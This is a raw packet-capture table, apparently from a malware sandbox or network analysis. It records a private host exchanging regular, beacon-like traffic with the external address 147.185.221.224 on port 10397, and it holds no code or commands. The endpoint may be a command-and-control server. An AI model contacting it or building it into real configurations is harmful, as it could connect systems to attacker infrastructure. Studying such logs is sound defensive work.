Dec 13, 2024 12:33:37.967842102 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.967941046 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.087738037 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.087995052 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.207801104 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.207869053 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.327636003 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.327707052 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.447833061 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.448396921 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.568345070 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.572384119 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.693047047 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.693968058 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.815881968 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.816167116 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:38.935988903 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:38.938749075 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.059384108 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.059948921 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.180015087 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.180131912 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.299858093 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.302536964 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.422327042 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.422475100 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.542490959 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.542645931 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.662473917 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.662585020 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.782620907 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.782751083 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:39.902965069 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:39.903105021 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.022979975 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.023266077 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.150809050 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.151278973 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.271171093 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.271301985 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.392204046 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.392335892 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.512104034 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.514645100 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.634469032 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.635339975 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.756943941 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.759329081 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:40.879045963 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:40.880593061 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.000267029 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.000488997 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.120461941 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.120549917 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.281369925 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.281852007 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.489505053 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.489664078 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.737436056 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.737849951 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:41.989444017 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:41.989543915 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:42.233493090 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:42.233566999 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:42.482979059 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:42.483083010 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:42.729475975 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:42.729686975 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:42.981882095 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:42.981967926 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:43.229821920 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:43.229990005 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:43.477426052 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:43.477513075 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:43.725353956 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:43.726829052 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:43.973378897 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:43.973644018 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:44.330467939 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:44.331137896 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:44.581382990 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:44.583170891 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:44.830873966 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:44.831069946 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:45.081497908 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:45.081585884 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:45.329488039 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:45.329679966 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:45.581584930 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:45.581707954 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:45.829433918 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:45.832181931 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:46.081511974 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:46.081686974 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:46.329426050 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:46.330233097 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:46.577517986 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:46.579246998 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:46.829587936 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:46.829675913 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:47.081450939 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:47.083184958 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:47.329663038 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:47.330538988 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:47.577375889 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:47.577445984 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:47.829684973 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:47.829782963 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:48.077399015 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:48.077778101 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:48.325442076 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:48.325558901 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:48.569420099 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:48.571295023 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:48.821415901 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:48.821527004 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:49.065490961 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:49.065624952 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:49.317334890 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:49.320177078 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:49.569488049 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:49.569598913 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:49.817456007 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:49.817540884 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:50.065551996 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:50.065850019 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:50.317857981 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:50.317998886 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:50.565475941 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:50.565571070 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:50.813345909 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:50.813443899 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:51.057496071 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:51.057576895 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:51.305493116 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:51.305680990 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:51.553416014 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:51.645411968 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:51.889421940 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:51.889565945 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:52.133511066 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:52.133683920 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:52.381553888 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:52.381680965 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:52.629456997 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:52.629579067 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:52.881462097 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:52.882333040 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:53.129437923 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:53.129534960 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:53.373403072 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:53.374665022 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:53.621522903 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:53.621629953 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:53.873374939 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:53.873497009 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:54.125514030 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:54.125601053 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:54.347170115 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.357975960 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.477788925 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.478141069 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.481062889 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.600938082 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.601039886 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.721062899 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.721165895 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.841010094 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.841092110 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:56.960932016 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:56.961000919 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.081368923 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.081532001 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.201281071 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.202713013 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.322499990 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.322854042 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.442604065 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.442802906 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.562617064 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.562823057 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.682640076 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.682773113 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.802680969 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.803214073 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:57.923074007 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:57.923337936 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.044749975 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.048861027 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.168672085 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.168873072 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.288613081 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.288682938 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.408413887 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.412400007 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.532279015 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.534135103 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.653999090 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.654090881 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.774030924 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.774101019 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:58.893929958 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:58.894030094 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.014142036 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.273169994 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.393929005 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.393996000 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.513909101 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.514126062 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.633969069 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.634129047 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.754048109 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.754117012 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.874007940 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.874075890 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:59.993885994 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:59.993962049 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.113945007 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.114124060 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.234227896 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.234302044 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.354475975 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.354588032 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.475655079 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.480700016 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.601174116 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.604106903 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.723938942 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.724051952 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.843727112 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.843951941 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:00.963742018 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:00.964390993 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.084456921 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.086982965 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.207374096 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.208980083 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.328982115 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.329386950 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.449304104 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.452338934 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.572457075 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.572561979 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.692470074 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.692606926 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.812517881 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.812833071 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:01.934094906 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:01.983927011 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.103934050 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.104101896 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.224129915 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.224451065 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.345729113 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.346621037 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.466742992 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.467000008 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.590507030 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.591334105 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.711199045 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.711375952 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.831274986 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.831490993 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:02.951529980 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:02.951986074 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.071928978 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.072118044 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.192168951 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.192363977 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.312876940 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.312968016 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.432900906 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.433034897 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.552943945 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.553155899 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.673219919 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.673314095 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.793102026 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.793287992 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:03.913281918 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:03.913429976 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.033303976 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.033394098 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.154185057 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.154248953 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.274136066 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.274436951 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.394392014 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.394556046 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.514442921 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.520298004 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.640213966 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.643507004 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.763564110 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.766165018 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:04.886065006 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:04.886626959 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.006546974 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.006648064 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.126621962 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.126693010 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.246743917 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.251524925 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.372302055 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.372411966 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.492086887 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.492161989 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.612099886 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.612257957 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.732119083 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.732287884 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:05.852149963 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:05.852253914 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:06.013468981 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:06.013706923 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:06.221431971 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:06.221662045 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:06.469618082 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:06.469698906 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:06.717468977 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:06.717609882 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:06.969609976 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:06.969716072 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:07.221405983 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:07.221736908 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:07.469391108 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:07.469901085 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:07.717900038 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:07.719340086 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:07.965365887 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:07.967869043 CET	49981	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:34:08.213485003 CET	10397	49981	147.185.221.224	192.168.2.5
Dec 13, 2024 12:34:08.214240074 CET	49981	10397	192.168.2.5	147.185.221.224
